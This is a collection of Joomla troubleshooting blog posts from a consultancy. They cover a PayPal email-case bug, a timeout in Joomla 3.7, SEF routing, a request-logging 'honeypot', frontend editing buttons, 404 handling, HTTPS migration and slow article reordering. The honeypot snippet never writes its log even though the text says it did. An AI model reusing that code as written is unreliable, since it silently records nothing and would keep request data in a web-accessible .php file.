  • When the payment is processed, the Stripe plugin and the PayPal plugin will trigger the rsfp_afterConfirmPayment event, which is implemented in the RSForm Payment Success plugin (which we developed). The RSForm Payment Success plugin will generate the coupon code on the Akeeba Subscriptions system, and will send the coupon code to the client.

  • The client is then redirected to a page displaying the coupon code (essentially a page containing the same information that was sent to the client in the email).

There was, however, two small problems in the process above: the payment status was not changed to “Accepted” (from “Pending”) and the rsfp_afterConfirmPayment event was not being triggered when the payment was completed through PayPal, which was odd, considering that, unlike the Stripe plugin, this plugin was not a 3rd party plugin.

Naturally, the first thing that we checked was whether the notify_url was correct, and it was. Luckily, while checking that, we noticed that the PayPal RSForm plugin was logging everything to a file named rsformpro_paypal_log.php in the logs folder, and so we immediately checked that file, which contained the following (very helpful) information:

2017-05-23 23:28:26 : IPN received from PayPal
2017-05-23 23:28:26 : Connecting to https://www.paypal.com/cgi-bin/webscr to verify if PayPal response is valid.
2017-05-23 23:28:26 : PayPal reported a valid transaction.
2017-05-23 23:28:26 : Check the order's amount paid: 50.00 - 50.00. Payment amount is correct.
2017-05-23 23:28:26 : Validation failed -> The email address is not correct - [email-address]

As you can see, the last line is saying that the email address is incorrect, but it was. So, we searched for the code that was throwing this error, and it was the following code in the file rsfppaypal.php which is located under the plugins/system/rsfppaypal folder:

if (RSFormProHelper::getConfig('paypal.email') !== $validation_fields['receiver_email'])
{
	$array['error']  = true;
	$array['reason'] = sprintf('The email address is not correct - %s', $validation_fields['receiver_email']);

	return $array;
}

At first glance, nothing seemed to be wrong with the above code, but, on closer examination, we discovered a subtle bug: what if the email set in the configuration is not exactly the same as the email sent back from PayPal, what if, for example, the email set in the RSForm configuration is something like myemail@myjoomlatestwebsite.com and the PayPal email is something like MyEmail@myjoomlatestwebsite.com – in that case, the condition (in the first line) will return true, and an error will be returned by the PayPal plugin (which will halt the completion of the PayPal transaction from RSForm’s end). So, we changed the above code to the following…

if (strtolower(RSFormProHelper::getConfig('paypal.email')) !== strtolower($validation_fields['receiver_email']))
{
	$array['error']  = true;
	$array['reason'] = sprintf('The email address is not correct - %s', $validation_fields['receiver_email']);

	return $array;
}

…and then we tested the form again, and this time, it worked. The payment status was changed to “Accepted” and the rsfp_afterConfirmPayment event was finally triggered on successful PayPal payments. Phew!

Now if you, our dear reader, have problems with PayPal transactions still set to “Pending” (instead of “Accepted”) in your RSForm Pro form submissions even though these transactions were successful, then it might be that the email in the configuration settings of RSForm Pro does not exactly match that in PayPal. You can either ensure that both emails are exactly the same (e.g. they have the same casing), or modify the RSForm Pro PayPal as described above. If you need help with the implementation, or if that doesn’t solve your problem, then please contact us. Our prices are super affordable, our work is super clean, and our turnover is super quick!

Saving Articles Timing Out After Updating to Joomla 3.7? Read This!

A client with a huge Arabic news website called us on April 26th (the day Joomla 3.7 was released) and told us that he’s not able to save articles after updating to Joomla 3.7. He told us that article saving was timing out, and urged us to take a look.

As usual, we obliged. We started our investigation by checking whether the issue is caused by one of the 5 reasons we listed in an earlier post. Unfortunately, it was none of them.

We then went to testing the website, and we noticed something odd: the problem was only happening when there is a lot of Arabic content in the article, because when we reduced the article’s content to a few Arabic sentences, the saving process went smoothly. When the article’s content was left as it was, the saving process was timing out. This gave us an idea:

  • We reduced the PHP maximum execution time to 30 seconds by creating a local .user.ini file at the root directory of the Joomla website and adding the following to it:

    max_execution_time = 30;

  • We changed Error Reporting to Maximum under System -> Global Configuration -> Server.

  • We tried saving the article (using the original, long Arabic content).

  • We saw the following error after 30 seconds:

    Fatal error: Maximum execution time of 30 seconds exceeded in /home/[cpanel-user]/public_html/libraries/vendor/joomla/string/src/phputf8/mbstring/core.php on line 41

Aha! We had a lead! We didn’t know what the problem was exactly but we had a lead. So, we opened the file core.php which is located under the libraries/vendor/joomla/string/src/phputf8/mbstring and we checked the problematic line, and it was this line…

return mb_strpos($str, $search, $offset);

which was located in the following function:

function utf8_strpos($str, $search, $offset = FALSE){
    if ( $offset === FALSE ) {
        return mb_strpos($str, $search);
    } else {
        return mb_strpos($str, $search, $offset);
    }
}

Hmmm! We felt, for some reason, that there was an infinite loop going on, and so we added a couple of lines to write the following variables $str, $search, and $offset to a file (we did it just before the problematic line), and, then we tried to add the article. Unsurprisingly, the file was several megabytes large after our test (mostly the same content being repeated over and over), so there was definitely an infinite loop going on.

Now, if you look at the above function, you will notice that it’s not recursive and doesn’t have any kind of loop, so, it must be the function calling it that is running into an infinite loop. Luckily, PHP has a very sweet method to know which function is the caller function, which is this line:

echo('Calling function: '.debug_backtrace()[1]['function']);

So, we used the above line to know which function was the caller function, and it was the function strpos which is located under the libraries/vendor/joomla/string/src folder. The following is the implementation of the strpos function:

public static function strpos($str, $search, $offset = false)
{
	if ($offset === false)
	{
		return utf8_strpos($str, $search);
	}

	return utf8_strpos($str, $search, $offset);
}

As you can see, the strpos function is not recursive, which means that the problem is caused by whichever function is calling it (or whichever function is calling the function calling it, or whichever function is calling the function that is calling it, OK – you get the idea!), ultimately, our investigation pointed us to the cleanTags function which is defined in the input.php file, which is located in the libraries/joomla/filter folder. So we thought, let’s compare the input.php file from the Joomla 3.7 website to the input.php file from the Joomla 3.6.5, and so we did, and, to our non-surprise, there were substantial differences between the two files.

Our next step (yes, you’ve guessed it!) was to replace the input.php file on the Joomla 3.7 website with one from a Joomla 3.6.5 fresh install. So we did that, and we tested the content adding (in Arabic) afterwards, and it worked, even when the content was very large! Hooray!

But why was the problem happening on Joomla 3.7?

Unfortunately, we can only say that the problem is caused by the cleanTags function (and possibly other functions called by cleanTags) in the aforementioned input.php file. We can’t give more details because we weren’t commissioned by the client to investigate the issue further (we can’t expect the client to pay for debugging Joomla errors).

We hope that you found this post useful. If you are running into a timeout when adding Arabic content (or any other UTF-8 content) to your Joomla 3.7 website, then try replacing the input.php file we mentioned above with the one from a Joomla 3.6.5 website. If that doesn’t work, then please contact us. We are always here to help, we will always find a solution, and our fees are extremely affordable!

How to Remove the Article ID from SEF URLs in Joomla 3.7

Joomla 3.7 is a weird iteration of the famous CMS – it seems that quite a few important things were half baked or not completely tested. For example, the new routing functionality that was meant to be completely revamped in Joomla 3.7 was supposedly scratched from that version, to be later introduced in a future version (Joomla 3.8?). We are saying supposedly because there were some substantial changes to the routing functionality in Joomla 3.7, which left Joomla’s routing in a twilight state between Joomla 3.6.5 and Joomla 3.8. In fact, we were surprised when we saw the code because the lead developer in Joomla clearly stated in a blog post on the official Joomla blog that the new routing code will not be shipped with Joomla 3.7. He even stated (and we’re quoting his exact words) that the code itself also had some issues, some parts are pretty much unreadable and even with debugging not easy to understand. Yet it seems that some of that unreadable code made its way to Joomla 3.7.

In any case, the new routing functionality broke the URLs on some very important websites which were relying on the sef_advanced_link configuration variable in order to remove the article ID from the URL. This is because the sef_advanced_link configuration variable now belongs to the legacy router, which will only be used when the sef_advanced configuration variable is set to 1.

So, in order to remove the article ID from the URL in Joomla 3.7, you will need to do the following:

  • Open phpMyAdmin and select the database powering your Joomla website.
  • Click on the #__extensions table.

  • Open the row where the name field is set com_content.

  • Add the following to the params field (just before the curly bracket):

    ,"sef_advanced":"1","sef_advanced_link":"1"

    Explanation: The first parameter ensures that the legacy router is loaded, and the second parameter ensures that the “advanced SEF” is used (e.g. the “article ID” is removed from the SEF URL).

  • Save the row and then login to your Joomla website and clear your Joomla cache.

  • The issue should be solved. You shouldn’t see any article IDs in the URLs anymore.

Of course, if you’re a fan of core modifications (which is something that we do not recommend), then you can do the following instead of the above:

  • Open the router.php file that is located under the components/com_content folder.
  • Change the following:

    if ($params->get('sef_advanced', 0))
    {
    	$this->attachRule(new JComponentRouterRulesStandard($this));
    	$this->attachRule(new JComponentRouterRulesNomenu($this));
    }
    else
    {
    	JLoader::register('ContentRouterRulesLegacy', __DIR__ . '/helpers/legacyrouter.php');
    	$this->attachRule(new ContentRouterRulesLegacy($this));
    }

    to:

    JLoader::register('ContentRouterRulesLegacy', __DIR__ . '/helpers/legacyrouter.php');
    $this->attachRule(new ContentRouterRulesLegacy($this));

  • Open the file legacyrouter.php which is located under the components/com_content/helpers folder, and change both instances of the following line:

    $advanced = $params->get('sef_advanced_link', 0);

    to:

    $advanced = 1;

  • Login to the backend of your Joomla website and clear the cache by going to System -> Clear Cache and then clicking on the Delete All button.

  • That’s it! The article IDs should disappear from your URLs.

We hope that you found this post useful. If you need help with the implementation, then please contact us. We are always there for you, our fees are super affordable, our work is super professional, and we always have a solution!

The Joomla Honeypot Project Experiment

At itoctopus, we are paranoid about the security of our managed clients’ websites – as such, we always research revolutionary ways to better protect these websites against potential exploits.

Last week, we conducted a honeypot project on one of the largest websites that we manage. For those of you who don’t know what a honeypot project is, it is, in essence the capture and the analysis of the malicious traffic that a website receives in order to better protect it. Typically, a honeypot project consists of a bait to lure attackers (the same way honey lures bears), but, in the case of a very large and a very high traffic website, an artificial bait is not necessary since the importance of a website is in itself a bait.

Before going into the details, we will need to explain the security setup of the website:

  • The website’s backend was protected with an .htaccess password: This method (described here) literally blocks all types of attacks on the backend. This means that we can completely forget about the attacks on the backend and focus on the attacks targeting the frontend.
  • The “index.php” file was the only file allowed to be directly executed by the Apache web server: This ensures that any attack on the website must be funneled through the index.php file first (as direct access to other PHP files on the Joomla website is blocked). This is super important since, as you will find out below, we are doing all the work in the defines.php file which is loaded by the index.php file.

  • ModSecurity was enabled on the server: This means that many known attacks are blocked before even reaching the Joomla instance. This will allow us to focus on new types of attacks.

Now that we have explained the existing security setup of the website, we can start explaining our little honepot project experiment. Are you ready? Let’s go!

Since Joomla loads the defines.php file before anything else (even before executing any serious code), we decided to add the code that will capture all the data in the requests sent to the website in the defines.php file. So, we created a defines.php file in the root directory of the website and we added the following PHP code to it:

<?php
	$file = 'project-honeypot.php';
	$projectHoneypotData = file_get_contents($file);
	$projectHoneypotData .= 'Date: '.date("Y-m-d H:i:s")."\n";
	$projectHoneypotData .= 'IP: '.$_SERVER['REMOTE_ADDR']."\n";
	$projectHoneypotData .= '--SERVER Data--'."\n";
	$projectHoneypotData .= print_r($_SERVER, true);
	if (!empty($_GET)){
		$projectHoneypotData .= '--GET Data--'."\n";
		$projectHoneypotData .= print_r($_GET, true);
	}
	if (!empty($_POST)){
		$projectHoneypotData .= '--POST Data--'."\n";
		$projectHoneypotData .= print_r($_POST, true);
	}
	if (!empty($_FILES)){
		$projectHoneypotData .= '--FILES Data--'."\n";
		$projectHoneypotData .= print_r($_FILES, true);
	}
?>

We saved the defines.php file and we uploaded it back, and then we left the website until the next day.

The next morning we checked the project-honeypot.php file, and we were amazed by the amount of garbage that hit the website: malicious referrers/user agents (that were not caught by ModSecurity), weird GET parameters, base64 POST values (some of these POST requests weren’t even relevant, since they were specially crafted for WordPress websites), and many, many attempts to upload hacked files.

The amount of data in that file was overwhelming. We had 2 options from there: either we needed to blacklist all the bad requests that we found or we needed to whitelist the good requests. We decided to go with the latter option, simply because whitelisting is a much more efficient process than blacklisting, since blacklisting means that we will need to continually monitor the website for future bad requests.

So we checked all the clean requests on the website and we whitelisted them all and blacklisted everything else (essentially, any request that was not on the whitelist was 403’d). For example, a valid POST request was one where $_POST[‘option’] = ‘com_search’ (this is sent when someone is searching for something on the website), so we whitelisted it.

Still, after whitelisting what should be whitelisted, we recorded all the whitelisted requests to the project-honeypot.php file. After 24 hours, we checked that file again, and we noticed that the absolute majority of the whitelisted requests were OK – however, there were a few bad requests among them. So, we had to blacklist those bad requests (at a granular level, any security work must include whitelisting and blacklisting – whitelisting alone is not sufficient). We repeated this process for a few days, until we were sure that almost all malicious requests were blocked from the server.

At the same time, we monitored the Apache logs for any legitimate 403s (e.g. false positives that were blocked by our whitelisting) and we did find a couple, which we immediately whitelisted.

Now, the million dollar question is, how efficient was all this?

We can safely say that the work was very efficient – we were much more comfortable with the security of the website, and we had no doubts in our minds that the website was much more secure than before. The whole experiment was so successful that we were very confident to recommend this process to our other managed clients.

Was there a performance hit caused by the security work above?

Not at all – in fact – there was a performance gain! Yes – you heard that right – there was a performance gain! And that’s because all those blocked requests were no longer loading the Joomla environment (this reminds us of a previous post of ours where we explained how not to load the Joomla environment for non existing files).

We hope that you found our post instructive and useful, and we hope that you will benefit from it to supercharge the security of your Joomla website. If you need help in doing that, then look no further. Just contact us and let us do the work for you quickly, cleanly, and affordably!

Yes – The Frontend of a Joomla Website Can Work Without the Plugins Folder

Do you have time for a simple experiment? If yes, then try the following:

  • Download Joomla.
  • Install it on a local or a remote server.

  • Once the website is working, rename the plugins folder to plugins_old.

  • Visit the website, and you will notice that the website still works.

  • Now rename the modules folder to modules_old, and you will notice that although all the modules disappeared, the website still works.

The above demonstrates the power and resilience of a Joomla instance: Joomla websites can work without the plugins (and the modules) folder(s). But, why is this worth mentioning?

It is worth mentioning because this discovery can help you in quickly debugging problems on a Joomla website without taking it offline. For example, if your website is suffering from performance issues all of a sudden, then you can rename your plugins folder to plugins_old and see if the issue persists. If it does, then the problem is not caused by one of your plugins, if it doesn’t, then the problem is definitely caused by one of your plugins. The same can be done with the modules folder.

Will the website “fully” work?

Of course, although the frontend of the Joomla website will work, it will miss all the functionalities provided by the plugins including frontend login and SEF URLs. So, you shouldn’t really do this unless you are debugging a website.

Can this be done on all Joomla websites?

No – some Joomla websites use components that explicitly require files from the plugins folders. Such websites will crash if the plugins folder is renamed.

Will the backend still work?

If you delete/rename the plugins folder, then you won’t be able to login to the backend, because you will need the authentication plugin to be able to login.

We hope that you found this post educational – if you have been reading it with the purpose of minimizing the filesystem of your Joomla website, then please note that such an endeavor is not straightforward and does not simply consist of renaming folders. Just contact us and we’ll devise a clean and sustainable solution for your needs for a very affordable price.

“Save” and “Save and Close” Buttons when Editing Articles in Joomla’s Frontend

A common issue on Joomla websites with frontend editing is that the behavior of the “Save” button on the frontend is different from the behavior of the “Save” button in the backend. The “Save” button in the backend saves the item and redirects back to the item’s page while the “Save” button on the frontend saves the item and redirects back to the listing page, which is the exact behavior of the “Save & Close” button in the backend.

This issue is particularly annoying when frontend authors/editors are writing long articles and are saving these articles frequently (they will get redirected back to the listing page, where they will need to find their article and then edit it again).

Luckily for you, our dear reader, we have a solution to this issue. With a simple trick, we were able to mimic the behavior of the backend “Save” and the “Save & Button” in a Joomla frontend. Here’s how we did it for a client of ours a few days ago:

  • We copied the edit.php file which is located under the components/com_content/views/form/tmpl folder to the templates/[ourclienttemplate]/html/com_content/form folder.
  • We then opened the edit.php file that we just created, and just before the following line…

    JFactory::getDocument()->addScriptDeclaration("

    …we added the following lines:

    $jinput = JFactory::getApplication()->input;
    $currentArticleID = $this->form->getData()->get('id');
    $editURL = JUri::root().'index.php?option=com_content&task=article.edit&a_id=' .$currentArticleID.'&return='.$jinput->get('return');

  • In the same edit.php file, and just before the following line…

    if (task == 'article.cancel' || document.formvalidator.isValid(document.getElementById('adminForm')))

    …we added the following lines:

    if (task == 'article.savestay'){
        var inputReturnURL = document.getElementById('returnurl');
        inputReturnURL .value = "";
        task = 'article.save';
    }

  • Also in the file edit.php, we replaced the following line:

    echo JText::_('JSAVE')

    with:

    echo ('Save & Close')

  • Finally, while still in the edit.php file, and immediately after…

    <div class="btn-toolbar">

    …we added the following lines:

    <div class="btn-group">
    	<button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('article.savestay')">
    		<span class="icon-ok"></span><?php echo JText::_('JSAVE') ?>
    	</button>
    </div>

  • We saved the article and we uploaded it back.

  • We tested frontend editing and everything worked as it should! The “Save” button redirected back to the the same article, the “Save & Close button (as well as the “Cancel” button) redirected back to the listing page.

There is one caveat in the above trick: it only works for existing articles. If you are working on a new article from the frontend, then you must hide the “Save” button (if $currentArticleID is empty, then this means that we are creating a new article, which means that we must hide the “Save” button).

We hope that you found this post useful. If you need help with the implementation, then you can always contact us: we are always available, we are always ready, and we will not charge you much!

Performance Tip: Ensure that Missing Files Are Not Processed By Joomla

Let’s do a simple experiment together. Go to your Joomla website, type in something like: http://www.[yourjoomlawebsite].com/test.jpg (assuming you do not have a test.jpg file in the root directory of your Joomla website).

You will notice that Joomla displays a 404 error. What’s wrong with that, you may be wondering? Well, what is wrong is that the whole Joomla environment is being loaded when a simple “404 – Not Found” error would have been sufficient. Of course, on small websites, this is hardly an issue, but, on large websites with high traffic, it is.

Now the question is, why is Joomla handling all the 404s, instead of just handling the 404s related to articles not found? Well, it is because of the following code in the default Joomla .htaccess file:

# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]

If you have some experience reading and understanding .htaccess files, you will know that the above tells Joomla to process requests to non-existing files and directories, which means that any hit on the domain with a file or a folder that doesn’t exist will eventually reach the index.php file, and ultimately load the Joomla environment. As mentioned in the article we linked to above, this can cause performance and stability issues on the server, especially on sites with lots of content and very high traffic.

So, how can one solve this problem?

Obviously the solution to this problem is to tell the Joomla environment to only execute non-file requests (we cannot block it from executing directories, because a non-existing directory can be a valid Joomla link). This can be done in the .htaccess file, by adding the following code just after the RewriteEngine On line:

# if the file doesn't exist
RewriteCond %{REQUEST_FILENAME} !-f
# and the file extension is one of the below
RewriteRule ^(.+\.(?:css|gif|jpe?g|js|pdf|php|png|xml))$ 404.php [L,NC]

Before adding the above code to your .htaccess, you will need to create the file 404.php in the root directory of your Joomla website. This file should only contain the following couple of lines (a mini-sized file ensures that the server performs minimal work and that traffic spent on non existing files is minimal):

<?php header("HTTP/1.0 404 Not Found");
die('404 - not found');?>

Once you do the above, you will notice that non-existing files will no longer be processed by the Joomla engine – which is a good thing – as this will lower the server load. If you have a large website, then the performance gain by adding the few lines of code above will be noticeable.

We hope that you found this post useful. If you need help with the implementation, then please contact us. We are always there for you, our fees are super affordable, and our work is super clean!

5 Reasons Article Saving in Joomla Takes a Long Time

Each day, more and more clients are calling us to address the slow article saving problem that they are experiencing on their Joomla websites. We’re not 100% sure why this is becoming an increasingly common Joomla problem, but we think that it might be that more large sites are using Joomla (though we have no actual statistics to substantiate our claims – we just feel it!). It might also be that we are getting more clients because of our high quality work, we don’t know for sure… But what we do know is that the emergence problem is not caused by a sudden change in the Joomla core (although, in most cases, it is caused by the Joomla core).

Over the past few months, we have worked on a countless number of websites having this problem, and so we have developed a list of all the issues that may result in long article saving time (or, in many cases, timeouts). Here they are:

1. A big assets table: The assets table is one of the most critical tables on a Joomla website – if not the most critical. A small inaccuracy in that table may crash your website. Additionally, the more data you have in that table, the slower the article saving process becomes (mainly because of the lft and the rgt fields – which we are not going to discuss in this post). A good idea is to trim that table on a daily basis in a cron job – just make sure that you don’t have any special permissions on your articles before doing that. Follow our guide here in order to cleanup the assets table on your Joomla website.

2. A lot of tags: We never liked tags – and we have to be honest why we don’t like them: it is because we think they are mostly used for webspam. Now, we have yet another reason to hate them, and it is because article saving takes a long time on Joomla websites that have many tags. If you have more than a few hundred tags on your website, then you will have a noticeable delay when you save Joomla articles. Luckily for you, the solution to this problem consists of simple core changes rather than deleting your tags.

3. Smart Search: Whoever called Joomla’s Smart Search “smart” must really have lax standards when it comes to smartness – since Smart Search is anything but smart. In fact, Smart Search is so bad that there were actual plans to remove it from the Joomla core (unfortunately, these plans didn’t materialize). In a nutshell, the problem with Smart Search is the following: it works well when it’s not needed, and it doesn’t work well when it’s needed. You see, Smart Search was developed to cater for the heavy search requirements on large Joomla websites since the normal search plugin is inadequate for large websites, however, the problem is that Smart Search doesn’t take into consideration one of the most important factors on large Joomla websites, and it is there are many articles created/updated every day. The thing is, whenever an article is saved, the Smart Search plugin runs, and splits the article into many fragments that are saved in many tables. The fragment-saving process becomes increasingly heavy with time ultimately slowing down the whole website to a crawl. The solution to this problem is simple, and it is using Sphinx instead (and, of course, disabling the Smart Search plugins).

4. The ordering algorithm of Joomla articles: Let us explain how the ordering of Joomla articles works in layman terms. Let’s say you have 9 bricks on top of each other, and you want to add, and label, an additional brick. If you want to follow the Joomla ordering algorithm for doing things, you will do the following:

  • You will ask 9 persons to help you in your endeavor.
  • You will ask each one of these persons to lift one brick, while ensuring that all the bricks are still on top of each other.

  • Ultimately, you will have some empty space at the bottom of the bricks, and so you add your brick there.

  • You label the bricks from 1 to 10, starting with the brick at the very bottom (the one that you just added).

Of course, a crazy idea would be to just add the tenth brick on top of the other 9 bricks instead of the bottom, and labeling the 10th brick “Number 10”, but where’s the fun in that? Additionally, you won’t get to meet these 9 nice people if you do it the old, unexciting way. Joomla’s ordering works in the same way, when a new article is inserted, all the articles in the same category are shifted (though not by real people) by 1. Obviously, this reordering process is very expensive on large Joomla websites. The solution to this problem is a core modification, which is explained, in details, in the article that we have just linked to.

5. A bad system/content plugin: So far, all the issues that we have discussed in this post are core issues, but the problem is not always caused by the core. Some system/content plugins, for example, try to grab data from another website using curl, a process that may take a very long time to execute and may cause the article saving process to hang. Last week, we worked on a Joomla website that had one of these bad plugins; we disabled all the system/content plugins one by one until we found it. When we opened the plugin, we noticed that it was setting the PHP maximum execution time to a very high number and was hiding all the errors. As seasoned PHP (and, of course, Joomla) developers, we know that both of these practices are very bad practices, but we also know that bad Joomla developers are everywhere.

Of course, there are other reasons that may cause the article saving process to take a very long time, two that we can think of are a hacked website and a ModSecurity rule. But they are not very common.

So, how to know which one from the above list is causing your problem? Well, you add an article to your Joomla website, and you monitor the performance of your Joomla website (or the load on your server, if you have access to that information), and if you see a degrading performance across the board (or a spike in the load), then your problem is likely caused by one (or more) of the first 4 reasons (in this case, you follow a process of elimination to know which one of the 4 is your problem). If you don’t, then your problem is likely caused by a bad plugin. Of course, if you need help speeding up the article saving process on your Joomla website, then you can always contact us. We are always there for you, our work is super clean, and our fees are super affordable.

7 Questions to Ask When Switching Your Joomla Site from HTTP to HTTPS

Earlier this week, we published a post on the importance of switching your Joomla website from HTTP to HTTPS, mainly because of a new setting in Chrome and Firefox labeling pages with sensitive forms (such as login forms) as insecure if they are not running in HTTPS mode.

Most Joomla administrators think that switching from HTTP to HTTPS simply consists of buying an SSL certificate, installing it on the server, and then forcing SSL on the Joomla website by setting the Force HTTPS field (under System -> Global Configuration -> Server) to Entire Site. Unfortunately, in most cases, the process is not that simple. You see, when you switch from HTTP to HTTPS there are many considerations that you must take into account. In fact, there are 7 important questions that you must ask yourself when you make the switch:

1- What will happen to all the social interactions?

Social interactions, such as likes, shares, etc… took place on the HTTP version of your website. This means that, by default, you will lose all these interactions when you switch to HTTPS. However, there is a way to keep these interactions, and it is by setting the data-url attribute to the HTTP version of links for the pages that were created before the switch, and to the HTTPS version of the links for all the other pages. Typically, this change is done in one plugin.

2- Is the website “301 redirecting” all the HTTP links to their HTTPS equivalents?

You must ensure that your website is redirecting (using 301 redirects) all your previous (non-secure) links to your new (secure) links. If it doesn’t, then you should address that immediately, or else you will have a duplicate content issue and your search engine rankings will drop.

3- Do all the extensions on my Joomla website fully support the switch?

Some poorly written templates/modules/plugins/components have some HTTP links that are hardcoded. For example, they request images, CSS files, and JS files from HTTP sources. This, of course, will cause a mixed content issue on your pages. The quickest way to catch the offending extensions is to thoroughly test every functionality on your website once you switch, and note, in the browser console, which images/libraries are being loaded over HTTP, and then fix the associated extensions. Ideally, you should do this on a test environment before switching.

This task is actually much more complex and important than you think it is, and we have numerous examples on how overseeing this task has caused major unhappiness.

4- Is my Joomla website displaying fatal errors on some pages because of the switch?

This is really similar to the previous point – but with a twist. Some badly written extensions may crash (or, at best, may not work properly) when you switch from HTTP to HTTPS. What makes this even more challenging is that some of these extensions may only fail under certain conditions. In order to address problems arising from such extensions proactively, you will need to closely monitor your PHP error log for the following few weeks after the move, and immediately address any errors caused by the switch.

5- Is my “$live_site” set to the HTTP version of the website?

We never recommend setting the $live_site value in the configuration.php file, and we are not very clear on why people like to set it. In fact, we have nothing good to say about this particular variable, which caused hardship for many Joomla administrators out there. However, if you feel you are compelled to set it, then make sure it points to the HTTPS version of your domain.

6- Have I disabled all SSL redirect plugins on my website?

On more than one occasion, we have fixed a problem where an SSL redirect plugin caused an infinite loop on the website as soon as the Force HTTPS setting was set to Entire Site. Make sure you disable (or, better yet, uninstall) any SSL redirect plugin that you have on your website before making the switch (they are pointless anyway and the only thing that they can do is create problems).

7- Have I checked my .htaccess file for any weird redirects?

A couple of days ago, we had a weird case of an infinite loop on a Joomla website. The infinite loop was everywhere, on both the backend and the frontend, so we disabled all the non-core system plugins on the Joomla website using phpMyAdmin, but the problem remained. It turned out eventually that the client had a redirect, in his .htaccess file, from HTTPS to HTTP, and there was another redirect in Joomla from HTTPS to HTTP. Naturally, deleting the .htaccess redirect fixed the problem.

Switching your Joomla website from HTTP to HTTPS is seldom an easy task – but worry not – we are always ready to help. Just contact us and we’ll ensure a very smooth transition of your website for very little money.

How Ordering Slows the Saving of Articles on Large Joomla Sites

Note: The solution presented in this post is a core change. Proceed carefully and always backup your website before modifying core files.

A few days ago, we received an email from someone managing a very large Joomla website (it was a Brazilian news website). She said that the saving of articles was taking an abnormal amount of time. When she first told us that, we were relieved; finally, something easy to work on! After all, it could be either an inflated assets table, or the an abundance of Joomla tags.

We started working on the task immediately, and, unfortunately, we quickly discovered that our excitement for easy work was a bit premature: it was neither the assets table nor the tags. In fact, the client regularly cleaned the assets table and the tags table was maintained at a manageable level. We were still hopeful though, so we started disabling plugins one by one – hoping that this whole issue might be caused by one of the plugins, but that wasn’t the case: we disabled all the plugins, but still we had the same problem. We were finally left with one option: we had to get our hands dirty to get to the bottom of this issue…

So, we enabled MySQL’s slow query logging and added an article to the Joomla website, and we were confident, no, make that positive, that we’ll find a very complex query in the slow query log (after all, the article saving process literally took 5 minutes), but there was nothing there, even though the long-query-time was set to 1 second (e.g. all queries taking more than 1 second were supposed to be logged there).

We were becoming more and more depressed: a task that we thought would bring joy to our hearts was becoming more and more frustrating. But then, something unexpected happened. While trying to save another article, we looked at the browser status bar (which is located at the bottom of the screen), and we noticed that the “Sending Request” part was taking a long time, and then the “Waiting” part was being executed instantly. So, this whole thing all of a sudden seemed like a DNS problem. We asked the client if she had any idea what might be causing this, and she told us that she was using Cloudflare, so we asked her to bypass Cloudflare to see if that solves the problem. She did, and then we tried to add an article, and this time, the whole thing was executed instantly. Hooray, we found the culprit, it was Cloudflare, or was it? You see, despite us feeling happy, we had this strange feeling that we didn’t nail it. After all, why would Cloudflare have this problem only with adding articles? Could it be a firewall rule being triggered on Cloudflare‘s end when someone adds an article? And, if that’s the case, then why weren’t other websites affected? Why just this one? Lieutenant Columbo would have said: “Something’s bothering me…”

So, we did another test to be sure, and this time, we had the problem again: it took about 4 minutes for an article to be saved. Our hunch was right, we didn’t find the solution to the problem… In a desperate move, we decided to debug the article saving process, so we opened the article.php file located under the administrator/components/com_content/models/ folder, and we added a die before the following line…

if (parent::save($data))

…and the die was executed instantly. We then moved the die to after the above line, and it took ages (like minutes), to take effect. So, the problem was really in the save line. Obviously, the next thing to do was to track which queries were executed at the database level by that save line. In order to do that, we debugged the problem at the database level: we printed all the queries before the save method, and then we printed all the queries after the save method (but before everything else), and it turned out that the cause was the following query:

UPDATE `#__content` SET ordering = 106 WHERE `id` = '48129'

In fact, the above query was sent to the database a few thousand times, but with a different ordering and id values. We thought that the client was lucky that saving articles was only taking 4 minutes for the whole thing (each iteration was taking about 50 milliseconds).

It didn’t take us long to find where that query was executed: it was in the table.php file located under the libraries/joomla/table folder. Specifically, the whole thing was taking place in the reorder function of that file. The obvious question at this point would be, what does this function do?

Well, the reorder function is responsible for (you guessed it) ordering articles in Joomla. For new articles, it ensures that the ordering field of the new article is set to 1, and that the ordering of all the other articles in the same category is shifted by 1. Naturally, when you have thousands of articles in each category, then the shifting process will take time.

If you’re thinking that the reorder function is poorly optimized, then you’re right: it is poorly optimized, and the Joomla core development team knows about it. In fact, Joomla versions 3.6.0, 3.6.1, and 3.6.2 addressed this problem, but, by addressing the problem they created an even bigger problem with current websites because the ordering of the new articles in the backend looked messed up (new articles appeared last), and so many Joomla developers voiced deep criticism about this abrupt change, including us. Eventually, the development team had no choice but to revert back the whole thing to the way it originally worked.

In retrospect, we believe that the ordering change in Joomla versions 3.6.0, 3.6.1, and 3.6.2 was done in good faith, but it was incomplete. While these versions fixed the performance problem by no longer shifting the ordering of existing articles by 1 when a new article was inserted, and rather just setting the ordering field of the newly inserted article to the highest ordering + 1, they didn’t address the backend views and the existing data. These versions should have modified the existing views and the existing ordering data to take the new ordering strategy into consideration. Obviously, the second part of the previous sentence (modifying the data) is very dangerous and complex, hence the decision to revert back rather than really addressing the problem.

So, how did we solve the problem?

Luckily, the client wasn’t using the Article Order ordering on any of her Category Blog menu items; she was using the Most Recent First ordering across the board. So, we were able to skip the whole ordering process by adding the following line to the very beginning of the reorder function:

return true;

The saving process worked very smoothly once we added the above line. In fact, it took our client less than a second to save articles on her website after implementing the above patch.

But, what about the ordering of featured articles on the homepage?

The client wasn’t using a menu item of type Featured Articles on the homepage, however, we understand that most Joomla websites do. So, if you want to implement the above solution on your Joomla website and your homepage consists of a Featured Articles menu item, then you will run into issues (the ordering of new articles will be messed up, and the reordering of old articles will no longer work properly). In this case, you will need to add the following lines (instead of the above line) to the beginning of the reorder function:

if ($this->_tbl != '#__content_frontpage')
	return true;

The above will ensure that the #__content_frontpage table will still be reordered by the reorder function. Keep in mind, however, that if your #__content_frontpage table is very large (e.g. has thousands of rows), then adding new articles to your homepage will take a lot of time. It’s always a good idea to ensure that this table contains a thousand entries or less (note that if you have pagination on your homepage, then this pagination will only show a thousand articles if you trim that table to a thousand rows – be very careful). We execute the following query in the cron of the Joomla sites that we fully manage to trim the data in the #__content_frontpage table:

DELETE FROM #__content_frontpage WHERE `ordering` > 1000

But why was the problem briefly solved when the client turned off Cloudflare?

